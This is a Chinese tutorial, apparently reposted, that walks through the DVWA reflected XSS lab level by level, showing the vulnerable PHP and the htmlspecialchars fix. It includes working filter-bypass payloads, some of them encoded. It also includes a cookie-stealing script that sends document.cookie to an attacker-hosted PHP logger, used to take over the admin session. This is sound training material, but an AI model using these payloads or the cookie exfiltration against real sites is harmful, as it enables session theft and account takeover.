DVWA XSS (Reflected) 通关教程
Posted 网络空间安全社
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA XSS (Reflected) 通关教程相关的知识,希望对你有一定的参考价值。
XSS 介绍
XSS,全称Cross Site Scripting
,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于javascript
,还包括flash
等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。
DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerhtml
等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。
XSS利用的常见用途:
盗取用户cookies
劫持会话
流量劫持
网页挂马
DDOS
提升权限
...
本次先介绍反射型XSS:
Reflected Cross Site Scripting
反射型XSS,非持久化,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发引起(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
Low Security Level:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
可以看到,代码直接采用get
方式传入了name
参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
Exploit
最普通的测试payload:
<script>alert(/xss/)</script>
XSS链接:
http://www.dvwa.com/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>#
成功弹窗:
弹窗之后的实战利用之盗取用户cookies进入后台:
攻击者自己网站http://localhost/xss/
里构造:
hacker.js
var img = new Image();
img.src="http://localhost/xss/hacker.php?x=" + document.cookie;
document.body.append(img);
hacker.php
<?php
$cookie = $_GET['x'];
file_put_contents('cookie.txt', $cookie);
?>
于是插入dvwa的xss payload为:
<script src="http://localhost/xss/hacker.js" /></script>
XSS利用,得到cookies:
修改cookies从而得到权限进入后台。
Medium Security Level:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,这里对输入进行了过滤,使用str_replace
函数将输入中的<script>
替换为空,这种黑名单防护机制是可以被轻松绕过的。
Exploit
1.大小写绕过:
<ScRipt>alert(/xss/);</ScRipt>
XSS链接:
http://www.dvwa.com/vulnerabilities/xss_r/?name=<ScRipt>alert(/xss/);</ScRipt>#
2.双写方式绕过str_replace()
函数:
<scr<script>ipt>alert(/xss/);</script>
XSS链接:
http://www.dvwa.com/vulnerabilities/xss_r/?name=<scr<script>ipt>alert(/xss/);</script>#
3.使用非script标签的xss payload:
例如:
img
标签:
<img src=1 onerror=alert('xss')>
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
iframe
标签:
<iframe onload=alert(1)>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
其他标签和利用还有很多很多....
High Security Level:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,High Security Level的代码同样使用黑名单过滤输入,preg_replace()
函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
Exploit
虽然无法使用<script>
标签注入XSS代码,但是可以通过img
、body
等标签的事件或者iframe
等标签的src构造可利用的js代码。
例如:
1.使用img标签和其编码转换后的XSS payload:
<img src=1 onerror=alert(/xss/)>
XSS链接:
http://www.dvwa.com/vulnerabilities/xss_r/?name=<img+src=1+onerror=alert(/xss/)>#
img
标签编码转换后的XSS payload例如:
<img src=1 onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<img src=1 onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>
2.使用iframe标签:
<iframe onload=alert(/xss/)>
3.使用DATA URL进行XSS:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
4.其他的XSS payload,还有很多很多...
Impossible Security Level:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
PHP htmlspecialchars()函数
把预定义的字符转换为HTML实体:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '//生效需要加ENT_QUOTES参数
< (小于)成为 <
> (大于)成为 >
可以看到,Impossible Security Level的代码使用htmlspecialchars
函数把预定义的字符:
& " ' < >
转换为HTML
实体,防止浏览器将其作为HTML
元素。从而防治了反射型XSS利用和危害。
以上是关于DVWA XSS (Reflected) 通关教程的主要内容,如果未能解决你的问题,请参考以下文章